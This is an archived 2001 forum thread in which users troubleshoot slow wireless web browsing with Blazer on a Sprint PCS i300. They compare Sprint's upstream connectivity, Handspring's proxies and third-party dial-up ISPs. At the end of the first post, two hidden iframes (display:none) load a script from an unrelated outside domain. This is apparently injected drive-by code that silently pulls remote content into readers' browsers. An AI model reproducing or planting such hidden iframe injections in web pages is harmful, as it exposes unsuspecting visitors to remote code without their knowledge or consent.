+ Reply to Thread
Results 1 to 8 of 8
  1. #1
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132

    Question Blazer HORRIBLY slow... better w/alternate ISP?

    Over the weekend, I had lots of time time to burn into my 2100 night/weekend minutes and play with the i300's wireless internet using Blazer.

    I knew it would be slow... but I WAS expecting at least sustained 9600. Maybe Blazer's transfer indicators just aren't terribly accurate, but it looked like I wasn't getting much over 2400-4800 baud. What's interesting is that the signal meter was pegged, and I was using it in a residential neighborhood in north-central Dallas, so there should have been PLENTY of available bandwidth available for my use.

    Also, I experienced a LOT of latency delay. And I don't mean 300-600 milliseconds. DNS lookups seemed to take 5-8 seconds on average, and there seemed to be a delay of 800-1500ms between images loaded.

    My suspicion is that the limiting factor wasn't the link between the phone and the tower, but rather Sprint's own connectivity to the internet itself (or maybe their back-end network between their NOC and the tower) was saturated. Kind of like Sprint reasoning that they can over-saturate their upstream internet connectivity, then blame the slow speed on the phone's wireless data rates (kind of like how AOL used to blame slow data rates to modem usage, when in fact their own network was so saturated it couldn't even sustain 33.4kbit data rates).

    Of course, an easy way to test this theory would be to compare throughput and response in three situations:

    * Normal wireless web, using Sprint PCS as the ISP

    * Third-party ISP, using the i300 as a pseudo-modem

    * Third-party ISP, using an actual cellular modem with the i300 (not sure whether this option is even viable or will work anymore, though)

    To keep the comparison objective, all three scenarios should be tested in the same spot with the same i300, in fairly short sequence. It should probably be repeated a few times at different locations too in order to help recognize and isolate signal strength/congestion as a factor.

    I'm not sure whether this will work or make a difference, but someone with really good internet connectivity of their own could also try to set up his own private proxy server and compare the results as well.


    Has anyone tried something like this yet?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    a very thorough post, but i suspect that if you are experiencing slow blazer times, then it could be that your part of the area was indeed saturated.. but you cant expect much form 14.4 bps...

  3. #3
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132
    Originally posted by Marctronixx
    a very thorough post, but i suspect that if you are experiencing slow blazer times, then it could be that your part of the area was indeed saturated.. but you cant expect much form 14.4 bps...
    Well, as I understand it, SPCS is using circuit-switched CDMA data. As long as the signal is strong and there's not much in the way of interference, the available bandwidth between the phone and tower is more or less a fixed constant. So if I'm trying to download something from a site with exceptionally good internet connectivity (I was), I should at least be able to get a good, solid, 9600-14.4k download speed.

    To be really honest, I don't have much faith in the quality of their upstream internet connectivity. Every internet service I've ever used that involved Sprint or Earthlink basically sucked and had HORRIBLE problems with packet loss, latency, and good old fashioned grossly oversold bandwidth. I wouldn't put it past Sprint for a nanosecond to do the same with their wireless web service -- especially because they know that they can blame it on interference and mumble about slow handset speeds and get away with it because 99.9% of their users aren't familiar with the behind-the-scenes operation of CDMA, tcp/ip, and all the places in between where Sprint has the opportunity to hide their sins.

    AT&T tried to pull a similar stunt in Dallas last year with their wireless broadband internet service. Customers who were promised 250-500k service were barely getting 64k, complaining loudly, and hearing nothing except an endlessly-repeated mantra about interference and wireless bandwidth. That is, until a half-dozen guys from Plano and Addison who used the service decided to measure the throughput WITHIN AT&T's local network.

    To eliminate the public internet as a variable and keep the data entirely within AT&T's local network, they set up web servers at 4 of their houses, and measured the sustained transfer rate they achieved with 4 simultaneous transfers to a fifth guy's house (to compensate for having a slower outbound data rate than the nominal inbound data rate).

    They consistently got well over 700k throughput.

    Then they tried the same test, but using servers located OUTSIDE of AT&T's local network. And measured 96-192k. After repeating the test a few times, they conclusively established that there was a bandwidth problem... but it wasn't the wireless part at all... it was AT&T's own ****ty upstream internet connectivity that was to blame!

    For the next few weeks, they spread the word, exchanged threats with AT&T, and made AT&T look REALLY bad in the local news media until AT&T finally caved in and silently upgraded their upstream internet connectivity. Mission accomplished.

    The moral of the story: ignore the booming voice and look behind the curtain. If you see a guy there, mercilessly humiliate him in front of the general public until he fixes the problem.

    Along those lines, a great test would be for someone to create a primitive PalmOS web server and run some speed tests with another i300 in the same cell, a cell across town, a cell across the state, a few cells across the country, then from another palm running the server connected to the internet via a T-1. If the same cell/nearby cell test pegs at 14.4 (with the nearby cell possibly doing a little better, because it's quite possible that running the test with two phones in the same place might genuinely cause local wireless bandwidth or interference to be somewhat of an issue), the distant cell does almost as well, the cross-country cells drop to 12k, then the internet test drops to 4800, I'd definitely start to scream loudly at Sprint and start a public campaign to shame them into improving their service. But until the hard numbers exist to wave in front of them, it's all just speculation.
    Last edited by miamicanes; 11-13-2001 at 02:57 PM.

  4. #4
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132
    Hmm... There is one other potentially major bottleneck... Blazer is proxy-based, and it's quite possible that Handspring's Blazer proxy farm itself is causing lots and lots of delays.

    Proxy-induced latency might definitely explain why there's a noticeable delay between each image's loading... instead of behaving like Internet Explorer and opening up multiple simultaneous connections to the webserver to fetch multiple images simultaneously (to keep the incoming bandwidth as saturated and close to 100% utilization as possible until all images are loaded), Blazer might be requesting the files one at a time. Add any additional delay induced by the proxy server as it fetches the image from the real webserver and manipulates it, and Sprint no longer looks like the obvious target for blame (not necessarily absolved completely, but definitely not the main culprit).

    Sigh.
    Last edited by miamicanes; 11-13-2001 at 04:54 PM.

  5. #5
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    again, great posts.. you have done your homework..

    yep since blazer has toe render the images b4 you see them on the phone is also a great reason...

    some sites i go to will popout images very quickly, and some others not so quick.. i just chock it up to one site having graphic intensive screens more than another....


  6. #6
    Registered User
    Join Date
    12-08-2001
    Posts
    160
    I did setup another network connection on my phone to my regular dial up isp instead of sprints isp, and tried that instead with blazer. So far it seems to me that it is somewhat faster, as in it seems not to pause as much when downloading, that is it fully utilizing the 14.4 all the time, with the sprint isp it will simply stop downloading for periods of time. This is all preliminary though and since Blazer is proxy based perhaps today the proxy's are just not as busy as usual.

    Justin

  7. #7
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    yo jus..

    FYI that no matter whose ISP you use, you are still going thru sprints gateway...

  8. #8
    Registered User
    Join Date
    12-08-2001
    Posts
    160
    What exactly do you mean by gateway? If you mean thier tower/modem system then sure, but I know a poor wireless conn over CDMA will slow me down, just wanted to see if it was that or sprints ip backbone to the Inet.

    If you mean something to do with tcp/ip then no I dont think so, as the palm network dialer is actually dialing a different number and negotiating a ppp session with them, which has nothing to do with sprints ip backbone/network, unless your isp uses Sprint .

    Heck I even just setup a RAS connection to my offices win2k system and it worked, I even loaded PalmVNC and took control of a win2k box from my phone!

    Perhaps you mean the Blazer proxies, in that case its true, no matter who your isp is if you use Blazer your always being proxied, btw who runs the Blazer proxies, Sprint or Handspring?

    Justin

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts